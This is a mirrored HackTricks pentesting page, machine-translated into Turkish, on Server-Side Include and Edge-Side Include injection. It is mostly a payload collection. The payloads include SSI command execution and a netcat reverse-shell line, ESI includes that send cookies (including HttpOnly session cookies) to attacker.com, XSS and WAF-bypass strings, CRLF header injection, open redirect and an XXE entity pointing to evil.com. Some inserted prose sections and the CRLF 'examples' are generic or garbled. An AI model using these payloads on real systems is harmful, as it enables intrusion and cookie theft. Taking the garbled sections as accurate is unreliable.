Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
Translator workflow 6cb783ece2 Translated to Turkish
2024-02-10 18:14:16 +00:00

19 KiB
Raw Blame History

Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme Enjeksiyonu

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Sunucu Tarafı Dahil Etme Temel Bilgileri

(Giriş Apache belgelerinden alınmıştır)

SSI (Sunucu Tarafı Dahil Etme), HTML sayfalarına yerleştirilen ve sayfalar sunulurken sunucuda değerlendirilen yönergelerdir. Bunlar, tüm sayfayı bir CGI programı veya diğer dinamik teknoloji aracılığıyla sunmadan mevcut bir HTML sayfasına dinamik olarak oluşturulmuş içerik eklemenizi sağlar.
Örneğin, aşağıdaki gibi mevcut bir HTML sayfasına bir yönerge yerleştirebilirsiniz:

<!--#echo var="DATE_LOCAL" -->

Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeriyle değiştirilecektir:

Salı, 15-Oca-2013 19:28:54 EST

SSI'nin ne zaman kullanılacağı ve ne zaman sayfanızın tamamen bir program tarafından oluşturulması gerektiği genellikle sayfanın ne kadarının statik olduğuna ve sayfanın her sunulduğunda ne kadarının yeniden hesaplanması gerektiğine bağlıdır. SSI, yukarıda gösterildiği gibi mevcut zaman gibi küçük bilgileri eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğunda oluşturuluyorsa, başka bir çözüm aramanız gerekmektedir.

Web uygulamasının ** .shtml, .shtm veya .stm uzantılı dosyaları kullanması durumunda SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.

Tipik bir SSI ifadesi aşağıdaki formata sahiptir:

<!--#directive param="value" -->

Kontrol Et

Server-side inclusion (SSI) ve edge-side inclusion (ESI) enjeksiyonu, web uygulamalarında yaygın olarak bulunan bir güvenlik açığıdır. Bu tür enjeksiyonlar, saldırganın hedef uygulamada kodu çalıştırmasına ve istemciye yanıt olarak dinamik içerik oluşturmasına olanak tanır.

SSI enjeksiyonu, sunucu tarafında gerçekleşir ve genellikle sunucu tarafı betiklerinin (örneğin PHP, ASP, JSP) kullanıldığı web uygulamalarında bulunur. Saldırgan, kullanıcı girişi veya diğer kullanıcı tarafından sağlanan verileri kullanarak SSI komutlarını enjekte eder. Bu komutlar sunucu tarafında çalıştırılır ve sonucu istemciye gönderilir.

ESI enjeksiyonu ise, içerik dağıtım ağı (CDN) veya ters proxy gibi ara sunucuların kullanıldığı web uygulamalarında ortaya çıkar. Saldırgan, ESI etiketlerini kullanarak istemciye gönderilen içeriği manipüle eder. Bu etiketler, dinamik içeriği yerleştirmek veya diğer sunuculara istek göndermek için kullanılır.

Bu tür enjeksiyonlar, saldırganın yetkisiz olarak uygulama sunucusunda kod çalıştırmasına ve hassas verilere erişmesine olanak tanır. Bu nedenle, SSI ve ESI enjeksiyonlarının önlenmesi ve tespit edilmesi önemlidir.

SSI ve ESI enjeksiyonlarını önlemek için aşağıdaki adımları izleyebilirsiniz:

  • Kullanıcı girişi veya diğer kullanıcı tarafından sağlanan verileri güvenli bir şekilde işleyin. Bu verileri doğrulayın ve gerektiğinde filtreleyin.
  • Sunucu tarafında çalışan betiklerde SSI veya ESI komutlarını kullanmaktan kaçının.
  • Web uygulamanızı güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın.
  • Web uygulamanızı güvenlik testlerine tabi tutun ve düzenli olarak güvenlik açıklarını taramak için otomatik araçlar kullanın.

SSI ve ESI enjeksiyonları, web uygulamalarında yaygın olarak bulunan güvenlik açıklarıdır. Bu tür enjeksiyonları önlemek ve tespit etmek için güvenlik önlemleri almak önemlidir.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side İçerik Ekleme

Bir sorun vardır: bilgi önbelleğe alınırken veya dinamik uygulamaların bir parçası olarak içeriğin bir sonraki alındığında değişebilir olması. İşte ESI'nin kullanıldığı yer burasıdır, ESI etiketlerini kullanarak önbellek sürümü gönderilmeden önce oluşturulması gereken dinamik içeriği belirtmek için kullanılır.
Eğer bir saldırgan, önbellek içeriğine bir ESI etiketi enjekte edebilirse, o zaman kullanıcılara gönderilmeden önce belgeye keyfi içerik enjekte edebilir.

ESI Tespiti

Sunucudan gelen bir yanıtta aşağıdaki başlık, sunucunun ESI kullandığı anlamına gelir:

Surrogate-Control: content="ESI/1.0"

Eğer bu başlık bulunamazsa, sunucu yine de ESI kullanıyor olabilir.
Kör bir saldırı yaklaşımı da kullanılabilir çünkü bir istek saldırganın sunucusuna ulaşmalıdır:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI istismarı

GoSecure farklı ESI yetenekli yazılımlara karşı deneyebileceğimiz olası saldırıları anlamak için bir tablo oluşturdu, bu tablo şu şekildedir:

  • Includes: <esi:includes> direktifini destekler
  • Vars: <esi:vars> direktifini destekler. XSS Filtrelerini atlamak için kullanışlıdır
  • Cookie: Belge çerezleri ESI motoruna erişilebilir
  • Upstream Headers Gerekli: Surrogate uygulamaları, yukarı akış uygulaması başlıkları sağlanmadığı sürece ESI ifadelerini işlemeyecektir
  • Host Beyaz Listesi: Bu durumda, ESI dahil etmeleri yalnızca izin verilen sunucu ana bilgisayarlarından mümkün olur, bu da örneğin SSRF'nin yalnızca bu ana bilgisayarlara karşı mümkün olmasını sağlar
Yazılım Includes Vars Cookies Upstream Headers Gerekli Host Beyaz Listesi
Squid3 Evet Evet Evet Evet Hayır
Varnish Cache Evet Hayır Hayır Evet Evet
Fastly Evet Hayır Hayır Hayır Evet
Akamai ESI Test Sunucusu Evet Evet Evet Hayır Hayır
NodeJS esi Evet Evet Evet Hayır Hayır
NodeJS nodesi Evet Hayır Hayır Hayır İsteğe bağlı

XSS

Aşağıdaki ESI direktifi, sunucunun yanıtının içine herhangi bir dosyayı yükler.

<esi:include src=http://attacker.com/xss.html>

İstemci XSS korumasını atlatma

Client-side Cross-Site Scripting (XSS) korumasını atlatmak için çeşitli yöntemler vardır. Bu yöntemler, saldırganın XSS saldırısını hedef uygulamaya enjekte etmesine ve korumaları aşmasına olanak tanır. İşte bazı yaygın yöntemler:

  • HTML entites bypasse: İstemci tarafında XSS korumasını atlatmanın basit bir yolu, HTML özel karakterlerini HTML kodlarına dönüştürmek için kullanılan HTML entity kodlarını kullanmaktır. Bu, saldırganın XSS payloadunu korumaları aşarak enjekte etmesine olanak tanır.

  • JavaScript obfuscation: JavaScript kodunu karmaşıklaştırarak veya şifreleyerek XSS korumasını atlatmak mümkündür. Bu, saldırganın XSS payloadunu gizlemesine ve korumaları aşmasına yardımcı olur.

  • DOM-based bypass: DOM tabanlı XSS korumasını atlatmak için, saldırganın hedef uygulamanın DOM yapısını manipüle etmesi gerekebilir. Bu, saldırganın XSS payloadunu doğrudan DOM'a enjekte etmesine ve korumaları aşmasına olanak tanır.

Bu yöntemler, saldırganın istemci tarafında XSS korumasını atlatmasına yardımcı olabilir. Ancak, bu tür saldırıları önlemek için güvenlik önlemleri almak önemlidir. Uygulama geliştiricileri, güvenli kodlama tekniklerini kullanarak XSS saldırılarına karşı koruma sağlamalıdır.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Çerez Çalma

  • Uzaktan çerez çalma
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • XSS ile HTTP_ONLY çerez çalma işlemi, yanıtta yansıtarak gerçekleştirilir:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Özel Yerel Dosya

Bunu "Yerel Dosya Dahil Etme" ile karıştırmayın:

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) injection, also known as HTTP response splitting, is a web vulnerability that allows an attacker to inject malicious headers or control the response sent by the server. This can lead to various attacks, such as cross-site scripting (XSS), session hijacking, cache poisoning, and more.

The vulnerability occurs when user input is not properly validated or sanitized before being included in the response headers. An attacker can exploit this by injecting CRLF characters (%0D%0A) into the input, causing the server to interpret them as separate headers or new lines.

To exploit this vulnerability, an attacker can craft a malicious request that includes CRLF characters in the user input. For example, by injecting a CRLF character after the user's input, the attacker can add a new header or modify an existing one. This can be used to perform various attacks, such as injecting malicious JavaScript code in an XSS attack or manipulating the server's response to bypass security controls.

To prevent CRLF injection attacks, it is important to properly validate and sanitize user input before including it in the response headers. This can be done by using input validation techniques, such as whitelisting or blacklisting, and encoding user input to prevent the interpretation of special characters.

Overall, CRLF injection is a serious web vulnerability that can have severe consequences if not properly mitigated. It is important for developers and security professionals to be aware of this vulnerability and implement proper security measures to protect against it.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Açık Yönlendirme

Aşağıdaki, yanıta bir Location başlığı ekleyecektir.

<!--esi $add_header('Location','http://attacker.com') -->

Başlık Ekle

  • Zorlanmış istekte başlık ekle
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Yanıtta başlık ekle (XSS olan bir yanıtta "Content-Type: text/json" geçişini atlamak için kullanışlıdır)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

Başlık ekleme işleminde CRLF (CVE-2019-2438)

Bu zafiyet, bir web uygulamasının başlık ekleme işlevinde CRLF (Satır Sonu ve Satır Başı) enjeksiyonuna izin verdiği durumlarda ortaya çıkar. Bu, saldırganın HTTP yanıt başlıklarını manipüle ederek çeşitli saldırılar gerçekleştirmesine olanak tanır.

Saldırı Senaryoları

  1. HTTP Response Splitting (HTTP Yanıtı Bölme): Saldırgan, CRLF karakterlerini kullanarak yanıt başlıklarını bölerek, yanıtın içeriğini değiştirebilir veya yanıtı tamamen bozabilir. Bu, saldırganın kullanıcıları yanıltmasına ve kötü amaçlı içerik sunmasına olanak tanır.

  2. Session Hijacking (Oturum Kaçırma): Saldırgan, CRLF enjeksiyonunu kullanarak oturum kimlik bilgilerini çalabilir ve hedef kullanıcının oturumunu ele geçirebilir. Bu, saldırganın hedef kullanıcının hesabına erişim sağlamasına ve yetkisiz işlemler gerçekleştirmesine olanak tanır.

Saldırı Örnekleri

  1. HTTP Response Splitting Saldırısı: Saldırgan, CRLF karakterlerini kullanarak yanıt başlıklarını bölerek, kullanıcıyı yanıltıcı bir web sayfasına yönlendirebilir. Örneğin:

    HTTP/1.1 302 Found
Location: http://www.malicious-website.com%0D%0ASet-Cookie: sessionid=1234567890%0D%0A

    Bu saldırıda, saldırgan, kullanıcının tarayıcısına yanıt başlıklarını manipüle ederek kötü amaçlı bir web sitesine yönlendirir ve aynı zamanda kullanıcının oturum kimlik bilgilerini çalar.

  2. Session Hijacking Saldırısı: Saldırgan, CRLF enjeksiyonunu kullanarak oturum kimlik bilgilerini çalar ve hedef kullanıcının oturumunu ele geçirir. Örneğin:

    GET /login HTTP/1.1
Host: www.vulnerable-website.com%0D%0ACookie: sessionid=1234567890%0D%0A

    Bu saldırıda, saldırgan, CRLF karakterlerini kullanarak oturum kimlik bilgilerini çalar ve hedef kullanıcının oturumunu ele geçirir.

Önleme Yöntemleri
  • Giriş denetimlerini güçlendirin ve giriş parametrelerini doğrulayın.
  • Giriş parametrelerini güvenli bir şekilde işleyin ve kullanıcı girişlerini temizleyin.
  • Başlık ekleme işlevlerinde CRLF karakterlerini filtreleyin veya kaçış karakterleriyle işleyin.
  • Güncel ve güvenli bir web uygulama çerçevesi kullanın.
  • Web uygulamanızı düzenli olarak güncelleyin ve güvenlik açıklarını düzeltin.
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai hata ayıklama

Bu, yanıtta yer alan hata ayıklama bilgilerini gönderir:

<esi:debug/>

ESI + XSLT = XXE

dca parametresi için xslt değeri belirtilerek, eXtensible Stylesheet Language Transformations (XSLT) tabanlı ESI dahil edilebilir. Bu dahil etme, HTTP yerine geçenin XML ve XSLT dosyalarını almasına neden olur ve XSLT dosyası XML dosyasını filtreler. Bu tür XML dosyaları, XML External Entity (XXE) saldırıları için kullanılabilir ve saldırganlara SSRF saldırıları gerçekleştirmelerine olanak tanır. Bununla birlikte, bu yaklaşımın kullanışlılığı sınırlıdır çünkü ESI zaten bir SSRF vektörü olarak hizmet vermektedir. Altta yatan Xalan kütüphanesinde destek olmadığından, harici DTD'ler işlenmez ve yerel dosya çıkarımı engellenir.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT dosyası:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

XSLT sayfasını kontrol edin:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Referanslar

Brute-Force Algılama Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: